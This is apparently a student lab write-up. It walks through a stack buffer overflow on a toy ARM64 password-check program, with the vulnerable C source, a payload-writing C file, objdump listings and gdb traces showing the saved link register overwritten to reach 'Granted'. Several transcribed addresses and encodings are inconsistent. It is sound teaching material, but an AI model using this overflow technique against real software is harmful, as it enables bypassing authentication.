

Reference:

Here is the C code that I am testing the overflow on

```
cperr23@raspberrypi: ~/cs220/cperr23_cs220Spring24/overflow
GNU nano 7.2
#include <stdio.h>

#include <string.h>
#include <stdlib.h>
int valid(){
    char password[10];
    scanf("%s", password);
    return 0 == strcmp(password, "awesome");
}

int main(void){
    int val = 0;
    printf("Enter Passord:");

    val = valid();

    if(!val)
        printf("Access denied\n");
    else
        printf("Granted\n");
}
```

Here is the code that I use to create the character array to overflow the buffer

```
cperr23@raspberrypi: ~/cs220/cperr23_cs220Spring24/overflow
GNU nano 7.2
#include <stdio.h>

int main(){

    FILE *fp = fopen("buff.bin", "wb");

    char buff[] = {
        'A', 'B', 'C', 'D', 'E', 'F', 'H', 'G',
        'I', 'J', 'K', 'L', 'M', 'M', 'O', 'P',
        'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
        0x94, 0x08, 0x55, 0x55, 0x55};

    fwrite(buff, sizeof(buff), 1, fp);
    fclose(fp);
}
```

Here is the object dump of the C code where I find the address to overflow

```

cperr23@raspberrypi: ~/cs220/cperr23_cs220Spring24/overflow
0000000000000814 <valid>:
814: a9be7bfd      stp     x29, x30, [sp, #-32]!
818: 910003fd      mov     x29, sp
81c: 910043e0      add     x0, sp, #0x10
820: aa0003e1      mov     x1, x0
824: 90000000      adrp    x0, 0 <__abi_tag-0x278>
828: 91232000      add     x0, x0, #0x8c8
82c: 97fffffa9     bl      6d0 <__isoc99_scanf@plt>
830: 910043e2      add     x2, sp, #0x10
834: 90000000      adrp    x0, 0 <__abi_tag-0x278>
838: 91234001      add     x1, x0, #0x8d0
83c: aa0203e0      mov     x0, x2
840: 97fffffa0     bl      6c0 <strcmp@plt>
844: 7100001f      cmp     w0, #0x0
848: 1a9f17e0      cset    w0, eq // eq = none
84c: 12001c00      and     w0, w0, #0xff
850: a8c27bfd      ldp     x29, x30, [sp], #32
854: d65f03c0      ret

0000000000000858 <main>:
858: a9be7bfd      stp     x29, x30, [sp, #-32]!
85c: 910003fd      mov     x29, sp
860: b9001fff      str     wzr, [sp, #28]
864: 90000000      adrp    x0, 0 <__abi_tag-0x278>
868: 91236000      add     x0, x0, #0x8d8
86c: 97ffff91     bl      6b0 <puts@plt>
870: 97ffffe9     bl      814 <valid>
874: b9001fe0      str     w0, [sp, #28]
878: b9401fe0      ldr     w0, [sp, #28]
87c: 7100001f      cmp     w0, #0x0
880: 540000a1      b.ne    894 <main+0x3c> // b.any
884: 90000000      adrp    x0, 0 <__abi_tag-0x278>
888: 9123a000      add     x0, x0, #0x8e8
88c: 97ffff89     bl      6b0 <puts@plt>
890: 14000004      b       8a0 <main+0x48>
894: 90000000      adrp    x0, 0 <__abi_tag-0x278>
898: 9123e000      add     x0, x0, #0x8f8
89c: 97ffff85     bl      6b0 <puts@plt>
8a0: 52800000      mov     w0, #0x0 // #0
8a4: a8c27bfd      ldp     x29, x30, [sp], #32
8a8: d65f03c0      ret

```

To begin with I knew that the character array was 10 bytes long, meaning to even get out of the password I would have to start with at least 10 bytes, thus that is the reason to start with random letters.

To start the debugging process I create a break point at main or b *0x5555550858, once I am in main I keep stepping through until we get to the valid function, then I step into the valid function

```

cperr23@raspberrypi: ~/cs220/cperr23_cs220Spring24/overflow
> 0x5555550814 <valid> stp x29, x30, [sp, #-32]!
0x5555550818 <valid+4> mov x29, sp
0x555555081c <valid+8> add x0, sp, #0x10
0x5555550820 <valid+12> mov x1, x0
0x5555550824 <valid+16> adrp x0, 0x5555550000
0x5555550828 <valid+20> add x0, x0, #0x8c8
0x555555082c <valid+24> bl 0x55555506d0 <__isoc99_scanf@plt>
0x5555550830 <valid+28> add x2, sp, #0x10
0x5555550834 <valid+32> adrp x0, 0x5555550000
0x5555550838 <valid+36> add x1, x0, #0x8d0
0x555555083c <valid+40> mov x0, x2
0x5555550840 <valid+44> bl 0x55555506c0 <strcmp@plt>
0x5555550844 <valid+48> cmp w0, #0x0
0x5555550848 <valid+52> cset w0, eq // eq = none
0x555555084c <valid+56> and w0, w0, #0xff
0x5555550850 <valid+60> ldp x29, x30, [sp], #32
0x5555550854 <valid+64> ret
0x5555550858 <main> stp x29, x30, [sp, #-32]!
0x555555085c <main+4> mov x29, sp
0x5555550860 <main+8> str wzr, [sp, #28]
0x5555550864 <main+12> adrp x0, 0x5555550000
0x5555550868 <main+16> add x0, x0, #0x8d8
0x555555086c <main+20> bl 0x55555506b0 <puts@plt>
0x5555550870 <main+24> bl 0x5555550814 <valid>
0x5555550874 <main+28> str w0, [sp, #28]
0x5555550878 <main+32> ldr w0, [sp, #28]
0x555555087c <main+36> cmp w0, #0x0
0x5555550880 <main+40> b.ne 0x5555550894 <main+60> // b.any
0x5555550884 <main+44> adrp x0, 0x5555550000
0x5555550888 <main+48> add x0, x0, #0x8e8

```

multi-thre Thread 0x7fff7fec0 In: valid

Once we are in the valid function then we can keep iterating through instructions until we hide the scanf function call. Once we are there I decided to enter ABCDEFGHI, once I had entered that to the scanf function call and it returned I checked the stack to see if it had been allocated correctly.

```

(gdb) ni
0x0000005555550834 in valid ()
0x0000005555550838 in valid ()
(gdb) x/10xg $sp
0x7fffffff220: 0x00000007fffffff240 0x0000000555550874
0x7fffffff230: 0x4847464544434241 0x00000007ff7ff0049
0x7fffffff240: 0x00000007fffffff260 0x00000007ff7e27780
0x7fffffff250: 0x00000007fffffff3d8 0x0000000000000000
0x7fffffff260: 0x00000007fffffff370 0x00000007ff7e27858
(gdb) |

```

As you can see with 0x7fffffff230 we can see A as an ascii 41, then B as 42 and so forth. We can also see the frame pointer and link register on the address above at 220, thus we know that if we clobber the link register and make it an address for “Granted” then we can backdoor into the program without the password, thus we need to look at the object dump

```

cperr23@raspberrypi: ~/cs220/cperr23_cs220Spring24/overflow
0000000000000814 <valid>:
814: a9be7bfd      stp     x29, x30, [sp, #-32]!
818: 910003fd      mov     x29, sp
81c: 910043e0      add     x0, sp, #0x10
820: aa0003e1      mov     x1, x0
824: 90000000      adrp    x0, 0 <__abi_tag-0x278>
828: 91232000      add     x0, x0, #0x8c8
82c: 97fffffa9     bl      6d0 <__isoc99_scanf@plt>
830: 910043e2      add     x2, sp, #0x10
834: 90000000      adrp    x0, 0 <__abi_tag-0x278>
838: 91234001      add     x1, x0, #0x8d0
83c: aa0203e0      mov     x0, x2
840: 97ffffa0      bl      6c0 <strcmp@plt>
844: 7100001f      cmp     w0, #0x0
848: 1a9f17e0      cset    w0, eq // eq = none
84c: 12001c00      and     w0, w0, #0xff
850: a8c27bfd      ldp     x29, x30, [sp], #32
854: d65f03c0      ret

0000000000000858 <main>:
858: a9be7bfd      stp     x29, x30, [sp, #-32]!
85c: 910003fd      mov     x29, sp
860: b9001fff      str     wzr, [sp, #28]
864: 90000000      adrp    x0, 0 <__abi_tag-0x278>
868: 91236000      add     x0, x0, #0x8d8
86c: 97ffff91      bl      6b0 <puts@plt>
870: 97ffffe9      bl      814 <valid>
874: b9001fe0      str     w0, [sp, #28]
878: b9401fe0      ldr     w0, [sp, #28]
87c: 7100001f      cmp     w0, #0x0
880: 540000a1      b.ne    894 <main+0x3c> // b.any
884: 90000000      adrp    x0, 0 <__abi_tag-0x278>
888: 9123a000      add     x0, x0, #0x8e8
88c: 97ffff89      bl      6b0 <puts@plt>
890: 14000004      b       8a0 <main+0x48>
894: 90000000      adrp    x0, 0 <__abi_tag-0x278>
898: 9123e000      add     x0, x0, #0x8f8
89c: 97ffff85      bl      6b0 <puts@plt>
8a0: 52800000      mov     w0, #0x0 // #0
8a4: a8c27bfd      ldp     x29, x30, [sp], #32
8a8: d65f03c0      ret

```

We see with the C code that if the comparison is not equal then it is “successful” thus looking at b.ne to 894 then we know that is the address we need to insert into the program. So, we have the address 0x555555094 and if we enter 10 bytes to get rid of the buffer, then 6 more to complete the row of array of memory, use 8 more bytes to clobber the frame pointer we can then use the next bytes to enter an address which will replace the link register. This is where the WB program comes in, as we cannot enter character values themselves as a ‘5’ isn’t a 5 in ascii. Then we need a program that we can fill with junk then at the end the correct address and with all that will convert it to binary that we can directly insert into the scanf program, thus we have the wb.c file

```
cperr23@raspberrypi: ~/cs220/cperr23_cs220Spring24/overflow
GNU nano 7.2
#include <stdio.h>

int main(){

    FILE *fp = fopen("buff.bin", "wb");

    char buff[] = {
        'A', 'B', 'C', 'D', 'E', 'F', 'H', 'G',
        'I', 'J', 'K', 'L', 'M', 'M', 'O', 'P',
        'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
        0x94, 0x08, 0x55, 0x55, 0x55};

    fwrite(buff, sizeof(buff), 1, fp);
    fclose(fp);
}
```

We can fill the array with junk then add the address, in little endian format, at the end and this will write to a binary file that we can insert with the `./function < buff.bin`. Which is exactly what we do. It does crash the system but if we step through with gdb we can see it grants access.

```

cperr23@raspberrypi: ~/cs220/cperr23_cs220Spring24/overflow
0x5555550814 <valid> stp x29, x30, [sp, #-32]!
0x5555550818 <valid+4> mov x29, sp
0x555555081c <valid+8> add x0, sp, #0x10
0x5555550820 <valid+12> mov x1, x0
0x5555550824 <valid+16> adrp x0, 0x5555550000
0x5555550828 <valid+20> add x0, x0, #0x8c8
0x555555082c <valid+24> bl 0x55555506d0 <__isoc99_scanf@
0x5555550830 <valid+28> add x2, sp, #0x10
> 0x5555550834 <valid+32> adrp x0, 0x5555550000
0x5555550838 <valid+36> add x1, x0, #0x8d0
0x555555083c <valid+40> mov x0, x2
0x5555550840 <valid+44> bl 0x55555506c0 <strcmp@plt>
0x5555550844 <valid+48> cmp w0, #0x0
0x5555550848 <valid+52> cset w0, eq // eq = none
0x555555084c <valid+56> and w0, w0, #0xff
0x5555550850 <valid+60> ldp x29, x30, [sp], #32
0x5555550854 <valid+64> ret
0x5555550858 <main> stp x29, x30, [sp, #-32]!
0x555555085c <main+4> mov x29, sp
0x5555550860 <main+8> str wzr, [sp, #28]
0x5555550864 <main+12> adrp x0, 0x5555550000
0x5555550868 <main+16> add x0, x0, #0x8d8
0x555555086c <main+20> bl 0x55555506b0 <puts@plt>
0x5555550870 <main+24> bl 0x5555550814 <valid>
0x5555550874 <main+28> str w0, [sp, #28]
0x5555550878 <main+32> ldr w0, [sp, #28]
0x555555087c <main+36> cmp w0, #0x0
0x5555550880 <main+40> b.ne 0x5555550894 <main+60> // b.a
0x5555550884 <main+44> adrp x0, 0x5555550000
0x5555550888 <main+48> add x0, x0, #0x8e8

multi-thre Thread 0x7ff7ff7ec0 In: valid
(gdb) ni
0x0000000555550818 in valid ()
0x000000055555081c in valid ()
0x0000000555550820 in valid ()
0x0000000555550824 in valid ()
0x0000000555550828 in valid ()
0x000000055555082c in valid ()
0x0000000555550830 in valid ()
0x0000000555550834 in valid ()
(gdb) x/10xg $sp
0x7ffffff220: 0x0000007fffffff240 0x0000000555550874
0x7ffffff230: 0x4748464544434241 0x504f4d4d4c4b4a49
0x7ffffff240: 0x5857565554535251 0x0000000555550894
0x7ffffff250: 0x00000007ffffff3d8 0x0000000000000000
0x7ffffff260: 0x00000007ffffff370 0x00000007ff7e27858
(gdb) |

```

We can see the 0x5555550894 and if we continue it will say access denied at first but since we changed the link register for the main output it will brute force into “Granted”

```

multi-thre Thread 0x7ff7ff7ec0 In: main
0x0000000555550850 in valid ()
0x0000000555550880 in main ()
0x000000055555088c in main ()
Access denied
0x0000000555550890 in main ()
(gdb) p/x $lr
$3 = 0x5555550890
(gdb) ni
0x00000005555508a0 in main ()
0x00000005555508a4 in main ()
0x00000005555508a8 in main ()
0x0000000555550894 in main ()
0x0000000555550898 in main ()
0x000000055555089c in main ()
Granted
0x00000005555508a0 in main ()
0x00000005555508a4 in main ()
(gdb)

```

Now we have gotten in by overflowing the buffer and rewriting the link register!